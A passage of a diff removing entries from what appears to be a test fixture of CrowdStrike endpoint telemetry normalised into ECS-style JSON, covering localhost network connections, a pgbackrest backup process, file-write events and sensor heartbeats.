-                "ContextProcessId": "364783686797112486",
-                "ContextTimeStamp": "2021-07-07T17:05:23.901Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "0:0:0:0:0:0:0:0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-97c6-02fd02aca859",
-                "name": "NetworkConnectIP6MacV10"
-            },
-            "destination": {
-                "address": "127.0.0.1",
-                "ip": "127.0.0.1",
-                "port": 50626
-            },
-            "device": {
-                "id": "ffffffff083845f68a7de3d95cb34361"
-            },
-            "event": {
-                "action": "NetworkConnectIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:24.048Z",
-                "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677523.901\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP4\":\"127.0.0.1\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364783686797112486\",\"RemotePort\":\"50626\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6MacV10\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677524048\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff083845f68a7de3d95cb34361",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkConnectIP6",
-            "network": {
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff083845f68a7de3d95cb34361",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364783686797112486"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0:0:0:0:0:0:0:0",
-                    "127.0.0.1"
-                ]
-            },
-            "source": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 0
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:35.482Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1284133626",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "MD5HashData": "29037cef466fa57f03bd1b2a092c47a4",
-                "RGID": "119",
-                "RUID": "114",
-                "SHA256HashData": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112",
-                "SVGID": "119",
-                "SVUID": "114",
-                "SessionProcessId": "38911772846634",
-                "SourceProcessId": "38911774195823",
-                "SourceThreadId": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-bad4-02690d039c6b",
-                "name": "ProcessRollup2LinV6"
-            },
-            "device": {
-                "id": "ffffffffcf45409f87ed463b40c368ec"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:35.482Z",
-                "id": "ffffffff-1111-11eb-bad4-02690d039c6b|ffffffffcf45409f87ed463b40c368ec|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"ParentProcessId\":\"38911774195823\",\"SourceProcessId\":\"38911774195823\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"38911772846634\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1625677535.102\",\"SVUID\":\"114\",\"ParentBaseFileName\":\"bash\",\"id\":\"ffffffff-1111-11eb-bad4-02690d039c6b\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677535482\",\"ProcessGroupId\":\"9277112078\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"73249\",\"GID\":\"119\",\"ConfigStateHash\":\"1284133626\",\"SVGID\":\"119\",\"MD5HashData\":\"29037cef466fa57f03bd1b2a092c47a4\",\"SHA256HashData\":\"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112\",\"ConfigBuild\":\"1007.8.0010912.1\",\"UID\":\"114\",\"CommandLine\":\"pgbackrest --stanza\\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG\",\"TargetProcessId\":\"38911778380590\",\"ImageFileName\":\"/usr/bin/pgbackrest\",\"RGID\":\"119\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV6\",\"RUID\":\"114\",\"ProcessStartTime\":\"1625677535.068\",\"aid\":\"ffffffffcf45409f87ed463b40c368ec\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "group": {
-                "Ext": {
-                    "real": {
-                        "id": "119"
-                    }
-                },
-                "id": "119"
-            },
-            "host": {
-                "id": "ffffffffcf45409f87ed463b40c368ec",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffcf45409f87ed463b40c368ec",
-                "version": "1007.8.0010912.1"
-            },
-            "process": {
-                "args": [
-                    "pgbackrest",
-                    "--stanza=main",
-                    "archive-get",
-                    "000000020004D51F0000009F",
-                    "pg_wal/RECOVERYXLOG"
-                ],
-                "args_count": 5,
-                "command_line": "pgbackrest --stanza=main archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG",
-                "end": "2021-07-07T17:05:35.102Z",
-                "entity_id": "38911778380590",
-                "executable": "/usr/bin/pgbackrest",
-                "group": {
-                    "id": "119"
-                },
-                "group_leader": {
-                    "entity_id": "9277112078"
-                },
-                "hash": {
-                    "md5": "29037cef466fa57f03bd1b2a092c47a4",
-                    "sha256": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112"
-                },
-                "name": "pgbackrest",
-                "parent": {
-                    "entity_id": "38911774195823",
-                    "name": "bash"
-                },
-                "pgid": 9277112078,
-                "pid": 73249,
-                "real_group": {
-                    "id": "119"
-                },
-                "real_user": {
-                    "id": "114"
-                },
-                "start": "2021-07-07T17:05:35.068Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "29037cef466fa57f03bd1b2a092c47a4",
-                    "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112",
-                    "1284133626"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "114"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "114"
-                    }
-                },
-                "group": {
-                    "id": "119"
-                },
-                "id": "114"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:03.947Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1701000200",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "17307455014463",
-                "ContextTimeStamp": "2021-07-07T17:05:03.713Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "0:0:0:0:0:0:0:1"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5",
-                "name": "NetworkConnectIP6LinV5"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:1",
-                "ip": "0:0:0:0:0:0:0:1",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b"
-            },
-            "event": {
-                "action": "NetworkConnectIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:03.947Z",
-                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677503.713\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307455014463\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"41952\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677503947\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "NetworkConnectIP6",
-            "network": {
-                "direction": "outbound",
-                "iana_number": "17",
-                "transport": "udp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "entity_id": "17307455014463"
-            },
-            "related": {
-                "hash": [
-                    "1701000200"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0:0:0:0:0:0:0:1"
-                ]
-            },
-            "source": {
-                "address": "0:0:0:0:0:0:0:1",
-                "ip": "0:0:0:0:0:0:0:1",
-                "port": 41952
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:21.081Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365044948432500700",
-                "ContextTimeStamp": "2021-07-07T17:05:20.973Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f",
-                "name": "OoxmlFileWrittenMacV1"
-            },
-            "device": {
-                "id": "ffffffff20bd481a98a3d1f6191047ff"
-            },
-            "event": {
-                "action": "OoxmlFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:21.081Z",
-                "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f|ffffffff20bd481a98a3d1f6191047ff|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1625677520.973\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365044948432500700\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"0500000100000000000000000000000021b0260000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OoxmlFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8ad1-02cfdadef55f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff20bd481a98a3d1f6191047ff\",\"timestamp\":\"1625677521081\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44",
-                "inode": "0500000100000000000000000000000021b0260000000000",
-                "name": "432508",
-                "path": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff20bd481a98a3d1f6191047ff",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "OoxmlFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff20bd481a98a3d1f6191047ff",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365044948432500700",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:30.841Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3469235958",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "12227094573885",
-                "ContextTimeStamp": "2021-07-07T17:05:30.308Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b727-028bbe41f38d",
-                "name": "NetworkConnectIP4LinV5"
-            },
-            "destination": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 80
-            },
-            "device": {
-                "id": "ffffffffbd064538b214ab0dce8e82c3"
-            },
-            "event": {
-                "action": "NetworkConnectIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:30.841Z",
-                "id": "ffffffff-1111-11eb-b727-028bbe41f38d|ffffffffbd064538b214ab0dce8e82c3|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677530.308\",\"ConfigStateHash\":\"3469235958\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12227094573885\",\"RemotePort\":\"80\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59926\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4LinV5\",\"id\":\"ffffffff-1111-11eb-b727-028bbe41f38d\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffbd064538b214ab0dce8e82c3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677530841\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffffbd064538b214ab0dce8e82c3",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "NetworkConnectIP4",
-            "network": {
-                "community_id": "1:XUmTKB40anItSVy47MPGAZ+mJWM=",
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffbd064538b214ab0dce8e82c3",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "entity_id": "12227094573885"
-            },
-            "related": {
-                "hash": [
-                    "3469235958"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "67.43.156.14"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 59926
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:53.974Z",
-            "crowdstrike": {
-                "ChannelDiffStatus": "1",
-                "ChannelId": "12",
-                "ChannelVersion": "0",
-                "ChannelVersionRequired": "0",
-                "ConfigStateHash": "1156120155",
-                "ErrorCode": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d",
-                "name": "ChannelVersionRequiredLinV2"
-            },
-            "device": {
-                "id": "ffffffff25b14d4aa96de99e24bad2fa"
-            },
-            "event": {
-                "action": "ChannelVersionRequired",
-                "created": "2021-07-07T17:04:53.974Z",
-                "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d|ffffffff25b14d4aa96de99e24bad2fa|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1156120155\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"12\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV2\",\"id\":\"ffffffff-1111-11eb-b7e0-02332cdcc16d\",\"ErrorCode\":\"0\",\"aid\":\"ffffffff25b14d4aa96de99e24bad2fa\",\"timestamp\":\"1625677493974\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
-            },
-            "host": {
-                "id": "ffffffff25b14d4aa96de99e24bad2fa",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ChannelVersionRequired",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff25b14d4aa96de99e24bad2fa",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:21.218Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1156120155",
-                "InterfaceAlias": "vethdeb0243",
-                "InterfaceIndex": 3736,
-                "InterfaceType": "1",
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "PhysicalAddressLength": 6,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1",
-                "name": "LocalIpAddressIP6LinV1"
-            },
-            "device": {
-                "id": "ffffffffc9114c1898e79604708955a6"
-            },
-            "event": {
-                "action": "LocalIpAddressIP6",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:05:21.218Z",
-                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffffc9114c1898e79604708955a6|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677520.686\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"6e-9e-e0-1f-6d-7d\",\"InterfaceAlias\":\"vethdeb0243\",\"InterfaceIndex\":\"3736\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP6LinV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffffc9114c1898e79604708955a6\",\"timestamp\":\"1625677521218\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffffc9114c1898e79604708955a6",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "LocalIpAddressIP6",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffc9114c1898e79604708955a6",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "mac": "6E-9E-E0-1F-6D-7D"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:40.455Z",
-            "crowdstrike": {
-                "ChannelDiffStatus": "1",
-                "ChannelId": "210",
-                "ChannelVersion": "0",
-                "ChannelVersionRequired": "0",
-                "ConfigStateHash": "1620585913",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "ErrorCode": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3",
-                "name": "ChannelVersionRequiredMacV2"
-            },
-            "device": {
-                "id": "ffffffff2d7b4778a73b2cf58d327e42"
-            },
-            "event": {
-                "action": "ChannelVersionRequired",
-                "created": "2021-07-07T17:04:40.455Z",
-                "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3|ffffffff2d7b4778a73b2cf58d327e42|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1620585913\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.13\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"210\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ChannelVersionRequiredMacV2\",\"id\":\"ffffffff-1111-11eb-8cc5-02c6fb049dd3\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff2d7b4778a73b2cf58d327e42\",\"timestamp\":\"1625677480455\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
-            },
-            "host": {
-                "id": "ffffffff2d7b4778a73b2cf58d327e42",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ChannelVersionRequired",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff2d7b4778a73b2cf58d327e42",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:40.292Z",
-            "crowdstrike": {
-                "ConfigIDBase": "65994753",
-                "ConfigIDBuild": "11611",
-                "ConfigIDPlatform": "8",
-                "ConfigStateHash": "1156120155",
-                "ConfigurationVersion": "10",
-                "NetworkContainmentState": "0",
-                "SensorStateBitMap": "2",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-993f-02b8dc387eb5",
-                "name": "SensorHeartbeatLinV4"
-            },
-            "device": {
-                "id": "fffffffff6e146908cbf31d72b94b626"
-            },
-            "event": {
-                "action": "SensorHeartbeat",
-                "category": [
-                    "package"
-                ],
-                "created": "2021-07-07T17:05:40.292Z",
-                "id": "ffffffff-1111-11eb-993f-02b8dc387eb5|fffffffff6e146908cbf31d72b94b626|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"1156120155\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ConfigurationVersion\":\"10\",\"name\":\"SensorHeartbeatLinV4\",\"ConfigIDPlatform\":\"8\",\"id\":\"ffffffff-1111-11eb-993f-02b8dc387eb5\",\"ConfigIDBuild\":\"11611\",\"aid\":\"fffffffff6e146908cbf31d72b94b626\",\"timestamp\":\"1625677540292\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "fffffffff6e146908cbf31d72b94b626",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "SensorHeartbeat",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "fffffffff6e146908cbf31d72b94b626",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:28.717Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "364783686797112486",
-                "ContextTimeStamp": "2021-07-07T17:05:28.570Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-97c6-02fd02aca859",
-                "name": "JavaClassFileWrittenMacV1"
-            },
-            "device": {
-                "id": "ffffffff083845f68a7de3d95cb34361"
-            },
-            "event": {
-                "action": "JavaClassFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:28.717Z",
-                "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
